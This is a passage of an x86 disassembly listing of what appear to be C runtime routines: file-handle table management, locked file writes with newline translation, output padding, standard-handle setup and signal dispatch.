		mov	[edx], eax
		test	eax, eax
		jz	short loc_44B46A
		add	[ebx+30h], edi
		jmp	short loc_44B472
; ---------------------------------------------------------------------------


loc_44B46A:				; CODE XREF: sub_44B2F1+172j
		or	eax, 0FFFFFFFFh
		jmp	loc_44B558
; ---------------------------------------------------------------------------


loc_44B472:				; CODE XREF: sub_44B2F1+159j
					; sub_44B2F1+177j
		sub	esi, edi


loc_44B474:				; CODE XREF: sub_44B2F1+13Dj
		test	esi, esi
		jg	short loc_44B430


loc_44B478:				; CODE XREF: sub_44B2F1+138j
		cmp	dword ptr [ebx+24h], 0
		jle	short loc_44B4AE
		mov	eax, [ebx+24h]
		push	eax
		mov	eax, [ebx+1Ch]
		mov	edx, [ebx+10h]
		add	eax, edx
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44B4A6
		mov	eax, [ebx+24h]
		add	[ebx+30h], eax
		jmp	short loc_44B4AE
; ---------------------------------------------------------------------------


loc_44B4A6:				; CODE XREF: sub_44B2F1+1ABj
		or	eax, 0FFFFFFFFh
		jmp	loc_44B558
; ---------------------------------------------------------------------------


loc_44B4AE:				; CODE XREF: sub_44B2F1+18Bj
					; sub_44B2F1+1B3j
		cmp	dword ptr [ebx+28h], 0
		jle	short loc_44B4FE
		mov	esi, [ebx+28h]
		jmp	short loc_44B4FA
; ---------------------------------------------------------------------------


loc_44B4B9:				; CODE XREF: sub_44B2F1+20Bj
		cmp	esi, 20h
		jbe	short loc_44B4C7
		mov	[ebp+var_8], 20h
		jmp	short loc_44B4CC
; ---------------------------------------------------------------------------


loc_44B4C7:				; CODE XREF: sub_44B2F1+1CBj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44B4CC:				; CODE XREF: sub_44B2F1+1D4j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44B4F8
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44B4F3
		add	[ebx+30h], edi
		jmp	short loc_44B4F8
; ---------------------------------------------------------------------------


loc_44B4F3:				; CODE XREF: sub_44B2F1+1FBj
		or	eax, 0FFFFFFFFh
		jmp	short loc_44B558
; ---------------------------------------------------------------------------


loc_44B4F8:				; CODE XREF: sub_44B2F1+1E2j
					; sub_44B2F1+200j
		sub	esi, edi


loc_44B4FA:				; CODE XREF: sub_44B2F1+1C6j
		test	esi, esi
		jg	short loc_44B4B9


loc_44B4FE:				; CODE XREF: sub_44B2F1+1C1j
		test	word ptr [ebx+38h], 4
		jz	short loc_44B556
		cmp	[ebp+var_4], 0
		jle	short loc_44B556
		mov	esi, [ebp+var_4]
		jmp	short loc_44B552
; ---------------------------------------------------------------------------


loc_44B511:				; CODE XREF: sub_44B2F1+263j
		cmp	esi, 20h
		jbe	short loc_44B51F
		mov	[ebp+var_8], 20h
		jmp	short loc_44B524
; ---------------------------------------------------------------------------


loc_44B51F:				; CODE XREF: sub_44B2F1+223j
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44B524:				; CODE XREF: sub_44B2F1+22Cj
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44B550
		push	edi
		push	offset asc_40FDC8 ; "				     "
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44B54B
		add	[ebx+30h], edi
		jmp	short loc_44B550
; ---------------------------------------------------------------------------


loc_44B54B:				; CODE XREF: sub_44B2F1+253j
		or	eax, 0FFFFFFFFh
		jmp	short loc_44B558
; ---------------------------------------------------------------------------


loc_44B550:				; CODE XREF: sub_44B2F1+23Aj
					; sub_44B2F1+258j
		sub	esi, edi


loc_44B552:				; CODE XREF: sub_44B2F1+21Ej
		test	esi, esi
		jg	short loc_44B511


loc_44B556:				; CODE XREF: sub_44B2F1+213j
					; sub_44B2F1+219j
		xor	eax, eax


loc_44B558:				; CODE XREF: sub_44B2F1+74j
					; sub_44B2F1+ABj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44B2F1	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B561	proc near		; CODE XREF: sub_449AA1+101p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		and	eax, 3
		mov	esi, dword_40FE0C[eax*4]
		test	ebx, 4
		jz	short loc_44B580
		or	esi, 8


loc_44B580:				; CODE XREF: sub_44B561+1Aj
		test	ebx, 8
		jz	short loc_44B58E
		or	esi, 200h


loc_44B58E:				; CODE XREF: sub_44B561+25j
		test	ebx, 10h
		jz	short loc_44B59C
		or	esi, 100h


loc_44B59C:				; CODE XREF: sub_44B561+33j
		test	ebx, 20h
		jz	short loc_44B5AC
		or	esi, 8000h
		jmp	short loc_44B5B2
; ---------------------------------------------------------------------------


loc_44B5AC:				; CODE XREF: sub_44B561+41j
		or	esi, 4000h


loc_44B5B2:				; CODE XREF: sub_44B561+49j
		push	180h
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44C831
		add	esp, 0Ch
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44B561	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44B5D1	proc near		; CODE XREF: sub_449BF1+Dp
		push	6
		call	sub_44CC41
		pop	ecx
		push	1
		call	sub_448961
		pop	ecx
		retn
sub_44B5D1	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B5F1	proc near		; CODE XREF: sub_44B7E1+4Bp
					; sub_44DBD1+ADp

var_411		= byte ptr -411h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_8], 0
		jnz	short loc_44B618
		xor	eax, eax
		jmp	loc_44B7DA
; ---------------------------------------------------------------------------


loc_44B618:				; CODE XREF: sub_44B5F1+1Ej
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		test	byte ptr [eax+edx+4], 20h
		jz	short loc_44B644
		push	2
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44CD71
		add	esp, 0Ch


loc_44B644:				; CODE XREF: sub_44B5F1+41j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		test	byte ptr [eax+edx+4], 80h
		jz	loc_44B725
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_10], 0
		jmp	loc_44B711
; ---------------------------------------------------------------------------


loc_44B673:				; CODE XREF: sub_44B5F1+12Cj
		lea	edi, [ebp+var_411]
		jmp	short loc_44B693
; ---------------------------------------------------------------------------


loc_44B67B:				; CODE XREF: sub_44B5F1+C0j
		mov	eax, esi
		inc	esi
		mov	bl, [eax]
		cmp	bl, 0Ah
		jnz	short loc_44B68E
		inc	[ebp+var_4]
		mov	eax, edi
		inc	edi
		mov	byte ptr [eax],	0Dh


loc_44B68E:				; CODE XREF: sub_44B5F1+92j
		mov	eax, edi
		inc	edi
		mov	[eax], bl


loc_44B693:				; CODE XREF: sub_44B5F1+88j
		lea	eax, [ebp+var_411]
		mov	edx, edi
		sub	edx, eax
		cmp	edx, 400h
		jge	short loc_44B6B3
		mov	eax, [ebp+arg_4]
		mov	edx, esi
		sub	edx, eax
		mov	eax, edx
		cmp	eax, [ebp+arg_8]
		jb	short loc_44B67B


loc_44B6B3:				; CODE XREF: sub_44B5F1+B2j
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_411]
		mov	edx, edi
		sub	edx, eax
		mov	eax, edx
		push	eax
		lea	eax, [ebp+var_411]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		mov	eax, [eax+edx]
		push	eax
		call	dword_411E08	; WriteFile
		test	eax, eax
		jz	short loc_44B706
		mov	eax, [ebp+var_8]
		add	[ebp+var_C], eax
		lea	edx, [ebp+var_411]
		mov	ecx, edi
		sub	ecx, edx
		cmp	eax, ecx
		jge	short loc_44B711
		jmp	short loc_44B76E
; ---------------------------------------------------------------------------


loc_44B706:				; CODE XREF: sub_44B5F1+FDj
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax
		jmp	short loc_44B76E
; ---------------------------------------------------------------------------


loc_44B711:				; CODE XREF: sub_44B5F1+7Dj
					; sub_44B5F1+111j
		mov	eax, [ebp+arg_4]
		mov	edx, esi
		sub	edx, eax
		mov	eax, edx
		cmp	eax, [ebp+arg_8]
		jb	loc_44B673
		jmp	short loc_44B76E
; ---------------------------------------------------------------------------


loc_44B725:				; CODE XREF: sub_44B5F1+6Dj
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		mov	eax, [eax+edx]
		push	eax
		call	dword_411E08	; WriteFile
		test	eax, eax
		jz	short loc_44B765
		mov	[ebp+var_10], 0
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		jmp	short loc_44B76E
; ---------------------------------------------------------------------------


loc_44B765:				; CODE XREF: sub_44B5F1+163j
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax


loc_44B76E:				; CODE XREF: sub_44B5F1+113j
					; sub_44B5F1+11Ej ...
		cmp	[ebp+var_C], 0
		jnz	short loc_44B7D4
		cmp	[ebp+var_10], 0
		jz	short loc_44B79C
		cmp	[ebp+var_10], 5
		jnz	short loc_44B78D
		call	sub_449321
		mov	dword ptr [eax], 9
		jmp	short loc_44B797
; ---------------------------------------------------------------------------


loc_44B78D:				; CODE XREF: sub_44B5F1+18Dj
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_4491C1
		pop	ecx


loc_44B797:				; CODE XREF: sub_44B5F1+19Aj
		or	eax, 0FFFFFFFFh
		jmp	short loc_44B7DA
; ---------------------------------------------------------------------------


loc_44B79C:				; CODE XREF: sub_44B5F1+187j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		test	byte ptr [eax+edx+4], 40h
		jz	short loc_44B7C4
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_44B7C4
		xor	eax, eax
		jmp	short loc_44B7DA
; ---------------------------------------------------------------------------


loc_44B7C4:				; CODE XREF: sub_44B5F1+1C5j
					; sub_44B5F1+1CDj
		call	sub_449321
		mov	dword ptr [eax], 1Ch
		or	eax, 0FFFFFFFFh
		jmp	short loc_44B7DA
; ---------------------------------------------------------------------------


loc_44B7D4:				; CODE XREF: sub_44B5F1+181j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_4]


loc_44B7DA:				; CODE XREF: sub_44B5F1+22j
					; sub_44B5F1+1A9j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44B5F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B7E1	proc near		; CODE XREF: sub_449C21+79p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_44B80C
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44B81C


loc_44B80C:				; CODE XREF: sub_44B7E1+Ej
		call	sub_449321
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44B83F
; ---------------------------------------------------------------------------


loc_44B81C:				; CODE XREF: sub_44B7E1+29j
		push	ebx
		call	sub_44BC01
		pop	ecx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_44B5F1
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_44BC61
		pop	ecx
		mov	eax, esi


loc_44B83F:				; CODE XREF: sub_44B7E1+39j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44B7E1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B851	proc near		; CODE XREF: DMN1:loc_44BBABp
					; sub_44C861:loc_44CA5Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		or	edi, 0FFFFFFFFh
		push	4
		call	sub_4496C1
		pop	ecx
		xor	esi, esi


loc_44B867:				; CODE XREF: sub_44B851+128j
		cmp	dword_413988[esi*4], 0
		jz	loc_44B91E
		mov	ebx, dword_413988[esi*4]
		jmp	loc_44B903
; ---------------------------------------------------------------------------


loc_44B881:				; CODE XREF: sub_44B851+C0j
		test	byte ptr [ebx+4], 1
		jnz	short loc_44B900
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_44B8B0
		push	3
		call	sub_4496C1
		pop	ecx
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_44B8A8
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CC8	; InitializeCriticalSection
		inc	dword ptr [ebx+8]


loc_44B8A8:				; CODE XREF: sub_44B851+48j
		push	3
		call	sub_449741
		pop	ecx


loc_44B8B0:				; CODE XREF: sub_44B851+3Aj
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CCC	; RtlEnterCriticalSection
		test	byte ptr [ebx+4], 1
		jz	short loc_44B8CC
		lea	eax, [ebx+0Ch]
		push	eax
		call	dword_411CD0	; RtlLeaveCriticalSection
		jmp	short loc_44B900
; ---------------------------------------------------------------------------


loc_44B8CC:				; CODE XREF: sub_44B851+6Dj
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	eax, esi
		shl	eax, 5
		mov	[ebp+var_4], eax
		mov	edx, dword_413988[esi*4]
		mov	ecx, ebx
		sub	ecx, edx
		mov	eax, ecx
		push	eax
		mov	edx, 38E38E39h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 3
		add	eax, edx
		mov	edx, [ebp+var_4]
		lea	edi, [eax+edx]
		jmp	short loc_44B917
; ---------------------------------------------------------------------------


loc_44B900:				; CODE XREF: sub_44B851+34j
					; sub_44B851+79j
		add	ebx, 24h


loc_44B903:				; CODE XREF: sub_44B851+2Bj
		mov	eax, dword_413988[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	loc_44B881


loc_44B917:				; CODE XREF: sub_44B851+ADj
		cmp	edi, 0FFFFFFFFh
		jz	short loc_44B975
		jmp	short loc_44B97F
; ---------------------------------------------------------------------------


loc_44B91E:				; CODE XREF: sub_44B851+1Ej
		push	480h
		call	sub_449121
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44B97F
		mov	dword_413988[esi*4], ebx
		add	dword_413A88, 20h
		jmp	short loc_44B957
; ---------------------------------------------------------------------------


loc_44B93F:				; CODE XREF: sub_44B851+114j
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_44B957:				; CODE XREF: sub_44B851+ECj
		mov	eax, dword_413988[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_44B93F
		mov	edi, esi
		shl	edi, 5
		push	edi
		call	sub_44BC01
		pop	ecx
		jmp	short loc_44B97F
; ---------------------------------------------------------------------------


loc_44B975:				; CODE XREF: sub_44B851+C9j
		inc	esi
		cmp	esi, 40h
		jl	loc_44B867


loc_44B97F:				; CODE XREF: sub_44B851+CBj
					; sub_44B851+DCj ...
		push	4
		call	sub_449741
		pop	ecx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44B851	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_44B991	proc near		; CODE XREF: sub_449D01+5Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A88
		jnb	loc_44BA20
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		add	eax, edx
		test	byte ptr [eax+4], 1
		jz	short loc_44BA20
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_44BA20
		test	ebx, ebx
		jz	short loc_44B9D6
		cmp	ebx, 1
		jz	short loc_44B9E5
		cmp	ebx, 2
		jz	short loc_44B9F4
		jmp	short loc_44BA01
; ---------------------------------------------------------------------------


loc_44B9D6:				; CODE XREF: sub_44B991+37j
		push	0
		push	0FFFFFFF6h
		call	dword_411E0C	; SetStdHandle
		jmp	short loc_44BA01
; ---------------------------------------------------------------------------


loc_44B9E5:				; CODE XREF: sub_44B991+3Cj
		push	0
		push	0FFFFFFF5h
		call	dword_411E0C	; SetStdHandle
		jmp	short loc_44BA01
; ---------------------------------------------------------------------------


loc_44B9F4:				; CODE XREF: sub_44B991+41j
		push	0
		push	0FFFFFFF4h
		call	dword_411E0C	; SetStdHandle


loc_44BA01:				; CODE XREF: sub_44B991+43j
					; sub_44B991+52j ...
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	dword ptr [edx+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_44BA2E
; ---------------------------------------------------------------------------


loc_44BA20:				; CODE XREF: sub_44B991+Bj
					; sub_44B991+2Bj ...
		call	sub_449321
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_44BA2E:				; CODE XREF: sub_44B991+8Dj
		pop	ebx
		retn
sub_44B991	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_44BA31	proc near		; CODE XREF: DMN1:0044BBCDp
					; sub_44C861+2B4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A88
		jnb	loc_44BAC2
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		cmp	dword ptr [edx+eax], 0FFFFFFFFh
		jnz	short loc_44BAC2
		test	ebx, ebx
		jz	short loc_44BA6F
		cmp	ebx, 1
		jz	short loc_44BA81
		cmp	ebx, 2
		jz	short loc_44BA93
		jmp	short loc_44BAA3
; ---------------------------------------------------------------------------


loc_44BA6F:				; CODE XREF: sub_44BA31+30j
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF6h
		call	dword_411E0C	; SetStdHandle
		jmp	short loc_44BAA3
; ---------------------------------------------------------------------------


loc_44BA81:				; CODE XREF: sub_44BA31+35j
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF5h
		call	dword_411E0C	; SetStdHandle
		jmp	short loc_44BAA3
; ---------------------------------------------------------------------------


loc_44BA93:				; CODE XREF: sub_44BA31+3Aj
		mov	eax, [esp+4+arg_4]
		push	eax
		push	0FFFFFFF4h
		call	dword_411E0C	; SetStdHandle


loc_44BAA3:				; CODE XREF: sub_44BA31+3Cj
					; sub_44BA31+4Ej ...
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	ecx, [esp+4+arg_4]
		mov	[edx+eax], ecx
		xor	eax, eax
		jmp	short loc_44BAD0
; ---------------------------------------------------------------------------


loc_44BAC2:				; CODE XREF: sub_44BA31+Bj
					; sub_44BA31+2Cj
		call	sub_449321
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_44BAD0:				; CODE XREF: sub_44BA31+8Fj
		pop	ebx
		retn
sub_44BA31	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_44BAE1	proc near		; CODE XREF: sub_449D01+Cp
					; sub_449D01+25p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, dword_413A88
		jnb	short loc_44BB22
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jz	short loc_44BB22
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	eax, [edx+eax]
		jmp	short loc_44BB30
; ---------------------------------------------------------------------------


loc_44BB22:				; CODE XREF: sub_44BAE1+Bj
					; sub_44BAE1+26j
		call	sub_449321
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_44BB30:				; CODE XREF: sub_44BAE1+3Fj
		pop	ebx
		retn
sub_44BAE1	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	eax
		call	sub_44BAE1
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		xor	bl, bl
		test	byte ptr [esp+14h], 8
		jz	short loc_44BB60
		or	bl, 20h


loc_44BB60:				; CODE XREF: DMN1:0044BB5Bj
		test	word ptr [esp+14h], 4000h
		jz	short loc_44BB6C
		or	bl, 80h


loc_44BB6C:				; CODE XREF: DMN1:0044BB67j
		test	byte ptr [esp+14h], 80h
		jz	short loc_44BB76
		or	bl, 10h


loc_44BB76:				; CODE XREF: DMN1:0044BB71j
		mov	eax, [esp+10h]
		push	eax
		call	dword_411DEC	; GetFileType
		mov	edi, eax
		test	edi, edi
		jnz	short loc_44BB99
		call	dword_411CE8	; RtlGetLastWin32Error
		push	eax
		call	sub_4491C1
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_44BBF2
; ---------------------------------------------------------------------------


loc_44BB99:				; CODE XREF: DMN1:0044BB85j
		cmp	edi, 2
		jnz	short loc_44BBA3
		or	bl, 40h
		jmp	short loc_44BBAB
; ---------------------------------------------------------------------------


loc_44BBA3:				; CODE XREF: DMN1:0044BB9Cj
		cmp	edi, 3
		jnz	short loc_44BBAB
		or	bl, 8


loc_44BBAB:				; CODE XREF: DMN1:0044BBA1j
					; DMN1:0044BBA6j
		call	sub_44B851
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44BBC7
		call	sub_449321
		mov	dword ptr [eax], 18h
		or	eax, 0FFFFFFFFh
		jmp	short loc_44BBF2
; ---------------------------------------------------------------------------


loc_44BBC7:				; CODE XREF: DMN1:0044BBB5j
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	sub_44BA31
		add	esp, 8
		or	bl, 1
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	[edx+eax+4], bl
		mov	eax, esi


loc_44BBF2:				; CODE XREF: DMN1:0044BB97j
					; DMN1:0044BBC5j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44BC01	proc near		; CODE XREF: sub_449DA1+3Ap
					; sub_44B7E1+3Cp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	esi, [edx+eax]
		cmp	dword ptr [esi+8], 0
		jnz	short loc_44BC47
		push	3
		call	sub_4496C1
		pop	ecx
		cmp	dword ptr [esi+8], 0
		jnz	short loc_44BC3F
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411CC8	; InitializeCriticalSection
		inc	dword ptr [esi+8]


loc_44BC3F:				; CODE XREF: sub_44BC01+2Fj
		push	3
		call	sub_449741
		pop	ecx


loc_44BC47:				; CODE XREF: sub_44BC01+21j
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411CCC	; RtlEnterCriticalSection
		pop	esi
		pop	ebx
		retn
sub_44BC01	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44BC61	proc near		; CODE XREF: sub_449DA1+4Ap
					; sub_44B7E1+56p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+0Ch]
		push	eax
		call	dword_411CD0	; RtlLeaveCriticalSection
		pop	ebx
		retn
sub_44BC61	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	1
		push	2
		call	sub_44BCD1
		add	esp, 8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_44BCAC
		test	ebx, ebx
		jnz	short loc_44BCB0


loc_44BCAC:				; CODE XREF: DMN1:0044BCA6j
		xor	eax, eax
		jmp	short loc_44BCCB
; ---------------------------------------------------------------------------


loc_44BCB0:				; CODE XREF: DMN1:0044BCAAj
		cmp	ebx, 1
		jz	short loc_44BCC6
		push	0
		push	2
		call	sub_44BCD1
		add	esp, 8
		push	2
		call	ebx
		pop	ecx


loc_44BCC6:				; CODE XREF: DMN1:0044BCB3j
		mov	eax, 1


loc_44BCCB:				; CODE XREF: DMN1:0044BCAEj
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44BCD1	proc near		; CODE XREF: sub_44A121+18p
					; sub_44A121+3Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jle	short loc_44BCEF
		cmp	ebx, 2Ch
		jge	short loc_44BCEF
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jnz	short loc_44BCF7


loc_44BCEF:				; CODE XREF: sub_44BCD1+Ej
					; sub_44BCD1+13j
		or	eax, 0FFFFFFFFh
		jmp	loc_44BDA7
; ---------------------------------------------------------------------------


loc_44BCF7:				; CODE XREF: sub_44BCD1+1Cj
		cmp	ebx, 4
		jz	short loc_44BD06
		cmp	ebx, 8
		jz	short loc_44BD06
		cmp	ebx, 0Bh
		jnz	short loc_44BD65


loc_44BD06:				; CODE XREF: sub_44BCD1+29j
					; sub_44BCD1+2Ej
		call	sub_44A011
		mov	[ebp+var_8], eax
		mov	eax, [eax+34h]
		cmp	eax, offset dword_4117E4
		jnz	short loc_44BD46
		push	0B0h
		call	sub_449121
		pop	ecx
		mov	edx, [ebp+var_8]
		mov	[edx+34h], eax
		test	eax, eax
		jz	short loc_44BD41
		mov	eax, [ebp+var_8]
		mov	edi, [eax+34h]
		mov	esi, offset dword_4117E4
		mov	ecx, 2Ch
		rep movsd
		jmp	short loc_44BD46
; ---------------------------------------------------------------------------


loc_44BD41:				; CODE XREF: sub_44BCD1+5Aj
		or	eax, 0FFFFFFFFh
		jmp	short loc_44BDA7
; ---------------------------------------------------------------------------


loc_44BD46:				; CODE XREF: sub_44BCD1+45j
					; sub_44BCD1+6Ej
		mov	eax, ebx
		shl	eax, 2
		mov	edx, [ebp+var_8]
		mov	ecx, [edx+34h]
		mov	ecx, [ecx+eax]
		mov	[ebp+var_4], ecx
		mov	edx, [edx+34h]
		mov	ecx, [ebp+arg_4]
